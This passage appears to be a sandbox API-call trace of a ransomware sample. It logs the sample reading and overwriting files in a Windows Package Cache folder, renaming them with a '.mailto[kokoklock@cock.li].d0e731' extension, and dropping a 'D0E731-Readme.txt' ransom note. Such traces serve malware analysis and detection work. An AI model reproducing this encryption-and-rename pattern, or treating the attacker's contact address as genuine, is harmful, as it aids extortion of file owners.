Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0xc0cc712 [0084.543] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0xb43c7319 [0084.543] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0xb4cfc1e [0084.543] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0xcdc691bd [0084.543] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x8134e7dc [0084.543] RtlRandom (in: Seed=0x2bc3fc28 | out: Seed=0x2bc3fc28) returned 0x27187910 [0084.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34805e8) returned 1 [0084.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0084.554] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.554] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.554] ReadFile (in: hFile=0x8e0, lpBuffer=0x34b6388, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2bc3fbdc, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesRead=0x2bc3fbdc*=0x4096, lpOverlapped=0x0) returned 1 [0084.555] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.555] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0084.555] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fdf0 [0084.555] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0084.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0084.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0084.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0084.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dbe0 [0084.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dbe0) returned 1 [0084.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0084.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0084.556] WriteFile (in: hFile=0x8e0, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2bc3fbdc, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2bc3fbdc*=0x4096, lpOverlapped=0x0) returned 1 [0084.556] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0084.556] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x60e10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.556] ReadFile (in: hFile=0x8e0, lpBuffer=0x34b6388, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2bc3fbdc, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesRead=0x2bc3fbdc*=0x4096, lpOverlapped=0x0) returned 1 [0084.561] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x60e10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc98 [0084.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34801b0 [0084.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dbe0 [0084.561] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dbe0) returned 1 [0084.562] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0084.562] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dbe0 [0084.562] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e0e0 [0084.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e0e0) returned 1 [0084.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34801b0) returned 1 [0084.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc98) returned 1 [0084.562] WriteFile (in: hFile=0x8e0, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2bc3fbdc, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2bc3fbdc*=0x4096, lpOverlapped=0x0) returned 1 [0084.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0084.562] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0xbad9a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.562] ReadFile (in: hFile=0x8e0, lpBuffer=0x34b6388, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2bc3fbdc, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesRead=0x2bc3fbdc*=0x4096, lpOverlapped=0x0) returned 1 [0084.578] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0xbad9a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.578] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0084.578] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fe68 [0084.578] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e0e0 [0084.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e0e0) returned 1 [0084.578] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0084.579] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e0e0 [0084.579] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca88 [0084.579] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca88) returned 1 [0084.579] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fe68) returned 1 [0084.579] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0084.579] WriteFile (in: hFile=0x8e0, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2bc3fbdc, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2bc3fbdc*=0x4096, lpOverlapped=0x0) returned 1 [0084.579] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0084.579] WriteFile (in: hFile=0x8e0, lpBuffer=0x342d578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2bc3fc38, lpOverlapped=0x0 | out: lpBuffer=0x342d578*, lpNumberOfBytesWritten=0x2bc3fc38*=0x20, lpOverlapped=0x0) returned 1 [0084.579] WriteFile (in: hFile=0x8e0, lpBuffer=0x342dbe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2bc3fc38, lpOverlapped=0x0 | out: lpBuffer=0x342dbe0*, lpNumberOfBytesWritten=0x2bc3fc38*=0x20, lpOverlapped=0x0) returned 1 [0084.579] WriteFile (in: hFile=0x8e0, lpBuffer=0x342e0e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2bc3fc38, lpOverlapped=0x0 | out: lpBuffer=0x342e0e0*, lpNumberOfBytesWritten=0x2bc3fc38*=0x20, lpOverlapped=0x0) returned 1 [0084.579] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.579] WriteFile (in: hFile=0x8e0, lpBuffer=0x342d988*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2bc3fc40, lpOverlapped=0x0 | out: lpBuffer=0x342d988*, lpNumberOfBytesWritten=0x2bc3fc40*=0x8, lpOverlapped=0x0) returned 1 [0084.579] WriteFile (in: hFile=0x8e0, lpBuffer=0x2bc3fc58*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2bc3fc40, lpOverlapped=0x0 | out: lpBuffer=0x2bc3fc58*, lpNumberOfBytesWritten=0x2bc3fc40*=0x4, lpOverlapped=0x0) returned 1 [0084.579] WriteFile (in: hFile=0x8e0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2bc3fc40, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2bc3fc40*=0x4, lpOverlapped=0x0) returned 1 [0084.580] WriteFile (in: hFile=0x8e0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2bc3fc40, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2bc3fc40*=0x6c, lpOverlapped=0x0) returned 1 [0084.580] WriteFile (in: hFile=0x8e0, lpBuffer=0x342d618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2bc3fc40, lpOverlapped=0x0 | out: lpBuffer=0x342d618*, lpNumberOfBytesWritten=0x2bc3fc40*=0x20, lpOverlapped=0x0) returned 1 [0084.580] WriteFile (in: hFile=0x8e0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2bc3fc40, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2bc3fc40*=0x4, lpOverlapped=0x0) returned 1 [0084.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0084.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0084.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0084.580] CloseHandle (hObject=0x8e0) returned 1 [0084.580] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf6) returned 0x3479e38 [0084.580] wcscpy (in: _Dest=0x3479e38, _Source="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" [0084.580] wcscat (in: _Dest=0x3479e38, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.mailto[kokoklock@cock.li].d0e731" [0084.580] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.581] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.581] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e38) returned 1 [0084.581] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", dwFileAttributes=0x20) returned 0 [0084.581] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x3430b00 [0084.581] wcscpy (in: _Dest=0x3430b00, _Source="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0084.581] wcscat (in: _Dest=0x3430b00, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\D0E731-Readme.txt" [0084.581] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\d0e731-readme.txt")) returned 0x20 [0084.581] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430b00) returned 1 [0084.581] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431400) returned 1 [0084.581] RtlExitUserThread (Status=0x1) Thread: id = 1248 os_tid = 0x13f8 [0084.555] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm")) returned 0x20 [0084.563] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm", dwFileAttributes=0x20) returned 1 [0084.563] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8e4 [0084.563] GetFileSizeEx (in: hFile=0x8e4, lpFileSize=0x2bcbfdb4 | out: lpFileSize=0x2bcbfdb4*=638) returned 1 [0084.563] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x27a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.564] ReadFile (in: hFile=0x8e4, lpBuffer=0x2bcbfd88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bcbfd84, lpOverlapped=0x0 | out: lpBuffer=0x2bcbfd88*, lpNumberOfBytesRead=0x2bcbfd84*=0x4, lpOverlapped=0x0) returned 1 [0084.564] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.564] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e0e0 [0084.564] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0084.564] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e770 [0084.565] NtQuerySystemTime (in: CurrentTime=0x2bcbfd60 | out: CurrentTime=0x2bcbfd60*=132121176424610106) returned 0x0 [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0x228cd846 [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0xe8ceaad6 [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0x9e0da095 [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0x4740ce71 [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0xc97e4fd1 [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0x3a1bd6f8 [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0x56a59dc5 [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0xb6188046 [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0x27801817 [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0xf7a24a28 [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0xa9abd897 [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0x849c8c0e [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0x983afc42 [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0xf5b178ed [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0xa0cf674c [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0x7b7345da [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0x7b737aea [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0x2aeeacf [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0x6f186c31 [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0xdd3b1e4c [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0x75ba390d [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0x96bd787d [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0xf72c2f5 [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0xa679c08e [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0x7ec74a4e [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0x11e19eda [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0x9163744a [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0x36809ef5 [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0xd2518baf [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0xe6dc8549 [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0xbe24468e [0084.565] RtlRandom (in: Seed=0x2bcbfd6c | out: Seed=0x2bcbfd6c) returned 0x5d6f3a0d [0084.576] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ff58) returned 1 [0084.576] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e0e0) returned 1 [0084.576] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0084.576] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fa30 [0084.576] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e0e0 [0084.576] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e0e0) returned 1 [0084.576] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0084.576] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55dc0f8 [0084.576] ReadFile (in: hFile=0x8e4, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x2bcbfd60, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2bcbfd60*=0x27e, lpOverlapped=0x0) returned 1 [0084.576] SetFilePointerEx (in: hFile=0x8e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcbfd28 | out: lpNewFilePointer=0x0) returned 1 [0084.576] WriteFile (in: hFile=0x8e4, lpBuffer=0x55dc0f8*, nNumberOfBytesToWrite=0x27e, lpNumberOfBytesWritten=0x2bcbfd5c, lpOverlapped=0x0 | out: lpBuffer=0x55dc0f8*, lpNumberOfBytesWritten=0x2bcbfd5c*=0x27e, lpOverlapped=0x0) returned 1 [0084.577] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e0e0 [0084.577] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca88 [0084.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca88) returned 1 [0084.577] WriteFile (in: hFile=0x8e4, lpBuffer=0x342e0e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2bcbfd58, lpOverlapped=0x0 | out: lpBuffer=0x342e0e0*, lpNumberOfBytesWritten=0x2bcbfd58*=0x20, lpOverlapped=0x0) returned 1 [0084.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e0e0) returned 1 [0084.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc0f8) returned 1 [0084.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0084.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fa30) returned 1 [0084.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0084.577] WriteFile (in: hFile=0x8e4, lpBuffer=0x342c808*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2bcbfd84, lpOverlapped=0x0 | out: lpBuffer=0x342c808*, lpNumberOfBytesWritten=0x2bcbfd84*=0x8, lpOverlapped=0x0) returned 1 [0084.577] WriteFile (in: hFile=0x8e4, lpBuffer=0x2bcbfd9c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2bcbfd84, lpOverlapped=0x0 | out: lpBuffer=0x2bcbfd9c*, lpNumberOfBytesWritten=0x2bcbfd84*=0x4, lpOverlapped=0x0) returned 1 [0084.577] WriteFile (in: hFile=0x8e4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2bcbfd84, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2bcbfd84*=0x4, lpOverlapped=0x0) returned 1 [0084.577] WriteFile (in: hFile=0x8e4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2bcbfd84, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2bcbfd84*=0x6c, lpOverlapped=0x0) returned 1 [0084.582] WriteFile (in: hFile=0x8e4, lpBuffer=0x342e400*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2bcbfd84, lpOverlapped=0x0 | out: lpBuffer=0x342e400*, lpNumberOfBytesWritten=0x2bcbfd84*=0x20, lpOverlapped=0x0) returned 1 [0084.582] WriteFile (in: hFile=0x8e4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2bcbfd84, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2bcbfd84*=0x4, lpOverlapped=0x0) returned 1 [0084.583] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0084.583] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e798) returned 1 [0084.583] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c808) returned 1 [0084.583] CloseHandle (hObject=0x8e4) returned 1 [0084.583] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe6) returned 0x348ac98 [0084.583] wcscpy (in: _Dest=0x348ac98, _Source="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" [0084.583] wcscat (in: _Dest=0x348ac98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.mailto[kokoklock@cock.li].d0e731" [0084.583] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.588] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.588] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348ac98) returned 1 [0084.588] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm", dwFileAttributes=0x20) returned 0 [0084.588] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x3430b00 [0084.588] wcscpy (in: _Dest=0x3430b00, _Source="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0084.588] wcscat (in: _Dest=0x3430b00, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\D0E731-Readme.txt" [0084.588] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\d0e731-readme.txt")) returned 0xffffffff [0084.589] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8e4 [0084.589] WriteFile (in: hFile=0x8e4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2bcbfd80, lpOverlapped=0x0 | out: 